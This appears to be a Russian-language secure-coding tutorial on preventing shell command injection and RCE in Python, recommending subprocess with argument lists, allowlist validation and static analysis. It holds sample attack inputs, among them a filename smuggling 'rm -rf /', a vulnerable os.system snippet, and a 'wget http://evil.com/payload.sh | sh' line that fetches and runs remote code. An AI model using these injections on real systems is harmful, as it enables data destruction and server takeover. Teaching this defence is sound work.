ПроКодинг - Откроем для вас мир IT!

Представьте ситуацию: вы написали скрипт для автоматизации бэкапа. Он работает идеально, пока один из пользователей не решит назвать файл отчёта report.txt; rm -rf /. В этот момент ваш сервер начинает удалять всё подряд. Это классический пример Remote Code Execution (RCE), вызванного инъекцией команд в шелл. Проблема кроется не в сложности атаки, а в доверии к внешним данным. Если вы передаёте пользовательский ввод напрямую в строку команды через os.system() или аналогичные функции, вы открываете дверь для злоумышленника.

Почему шелл-команды опаснее SQL-запросов

Многие разработчики привыкли защищаться от SQL-инъекций с помощью параметризованных запросов. Но когда дело доходит до работы с операционной системой, уровень угрозы выше. Шелл - это интерпретатор, который понимает синтаксис ОС. В отличие от базы данных, где структура запроса жёстко определена, в шелле можно запускать любые программы, менять переменные окружения и перенаправлять потоки ввода-вывода. Ошибка в одной строке может привести к полному захвату процесса, а иногда и всего сервера.

RCE is a vulnerability class that allows an attacker to execute arbitrary code on a remote machine. In the context of shell commands, it happens when untrusted data reaches the command interpreter without proper sanitization or escaping. The impact ranges from data theft to complete server takeover, depending on the permissions of the running process.

Ключевые механизмы уязвимости

Чтобы понять, как защититься, нужно разобраться в том, как именно происходит инъекция. Есть три основных вектора атаки:

  • Разделение аргументов: Использование спецсимволов вроде ;, && или | для запуска новых команд.
  • Подстановка переменных: Злоумышленник использует $VAR или ${VAR} для подстановки значений из окружения.
  • Перенаправление потоков: Символы > и < позволяют перезаписать файлы или прочитать скрытые данные.

Если ваша функция принимает строку вида "ls " + filename, то значение filename становится частью исполняемого кода, а не просто данными. Именно эта путаница между «кодом» и «данными» лежит в основе большинства инцидентов безопасности.

Безопасные альтернативы: subprocess против os.system

Главное правило безопасной работы с шеллом: избегайте интерпретатора, если он вам не нужен. В Python, например, модуль subprocess предлагает два режима работы. Первый - shell=True, который вызывает системный шелл (/bin/sh на Unix). Второй - shell=False (по умолчанию), который запускает процесс напрямую через execvp.

Сравнение методов запуска процессов в Python
Метод Использует шелл? Защита от инъекций Производительность
os.system(cmd) Да Низкая (требуется ручная санация) Ниже (доп. процесс)
subprocess.run(args, shell=True) Да Низкая (аналогично os.system) Ниже
subprocess.run(args, shell=False) Нет Высокая (аргументы передаются списком) Выше

Когда вы используете shell=False, команда передаётся как список строк. Например, ["ls", "-l", "file.txt"]. Здесь file.txt воспринимается ядром ОС строго как имя файла. Спецсимволы внутри него игнорируются шеллом, потому что шелл просто не участвует в процессе. Это самый надёжный способ предотвратить RCE.

Концептуальная иллюстрация хаоса инъекций и порядка безопасных процессов

Когда без шелла не обойтись

Иногда вам действительно нужен шелл. Например, если вы используете пайпы (|), глобальные подстановки (*) или сложные конструкции условий. В таких случаях важно правильно экранировать входные данные. Однако ручной экранинг сложен и подвержен ошибкам. Легче забыть про одну запятую или двойные кавычки.

Если выбор сделан в пользу шелла, следуйте этим принципам:

  1. Всегда валидируйте входные данные по белому списку (allowlist). Если ожидается имя файла, проверьте, состоит ли оно только из букв, цифр и дефисов.
  2. Избегайте конкатенации строк. Используйте форматирование только после полной проверки.
  3. Ограничьте права процесса. Запускайте скрипт от имени пользователя с минимальными привилегиями.

Практические примеры и ловушки

Рассмотрим типичную ошибку. Разработчик хочет проверить размер файла и пишет так:

import os
user_input = "test; echo hacked"
os.system(f"du -sh {user_input}")

Здесь user_input содержит точку с запятой. Шелл видит её как разделитель команд и выполняет echo hacked. Хакер мог бы заменить это на wget http://evil.com/payload.sh | sh, и тогда на сервере начался бы загрузчик вредоносного ПО.

Безопасный вариант того же кода:

import subprocess
user_input = "test; echo hacked"
# Сначала проверяем, что имя корректное
if not user_input.replace('-', '').replace('_', '').isalnum():
    raise ValueError("Invalid filename")

subprocess.run(["du", "-sh", user_input], check=True)

Обратите внимание: мы убрали шелл, добавили проверку имени файла и использовали список аргументов. Теперь даже если кто-то попытается передать test; echo hacked, ядро ОС просто создаст файл с таким именем (если разрешено), но не выполнит вторую команду.

Миниатюрная плата в стеклянном кубе, символизирующая статический анализ кода

Инструменты статического анализа

Не полагайтесь только на внимательность программистов. Интегрируйте инструменты статического анализа кода (SAST) в ваш CI/CD pipeline. Инструменты вроде Bandit для Python или Semgrep умеют находить подозрительные вызовы os.system и eval. Они не заменяют ревью кода, но отлично ловят очевидные ошибки.

Также полезно использовать контейнеризацию. Если ваш сервис работает в Docker-контейнере, последствия RCE ограничиваются границами этого контейнера. Убедитесь, что контейнер запущен с флагом --read-only и ограниченными правами, чтобы снизить риски утечки данных.

Чек-лист перед деплоем

Прежде чем выпускать код в продакшен, пройдитесь по этому списку:

  • Есть ли вызовы os.system, popen или subprocess с shell=True?
  • Передаются ли пользовательские данные напрямую в строку команды?
  • Используются ли списки аргументов вместо строк там, где это возможно?
  • Проведена ли валидация входных данных по белому списку?
  • Работает ли процесс с минимально необходимыми правами?

Частые вопросы

Какой самый быстрый способ защитить код от shell injection?

Используйте subprocess.run() со списком аргументов и параметром shell=False. Это исключает участие шелла и делает спецсимволы в данных безвредными.

Можно ли полностью отказаться от шелла в Python?

В большинстве случаев да. Только специфические задачи, требующие пайпов или глобальных подстановок, нуждаются в шелле. Для простых операций с файлами и запуском внешних утилит достаточно стандартных библиотек.

Что делать, если нужно использовать pipe (|)?

Приходится использовать shell=True. В этом случае обязательно применяйте строгую валидацию входных данных и рассмотрите возможность замены логики на несколько последовательных вызовов subprocess с передачей stdout одного процесса в stdin другого.

Является ли eval() такой же опасной функцией?

Да, eval() часто приводит к RCE, если в него попадают пользовательские данные. Хотя это не shell injection в чистом виде, результат аналогичен: выполнение произвольного кода. Лучше избегать eval() вообще или использовать библиотеки парсинга выражений.

Как проверить, нет ли уязвимостей в существующем коде?

Запустите инструмент статического анализа, например Bandit для Python. Он подсветит все места, где используются небезопасные функции. Также полезно провести динамическое тестирование с использованием fuzzing-генераторов для поиска неожиданных путей выполнения.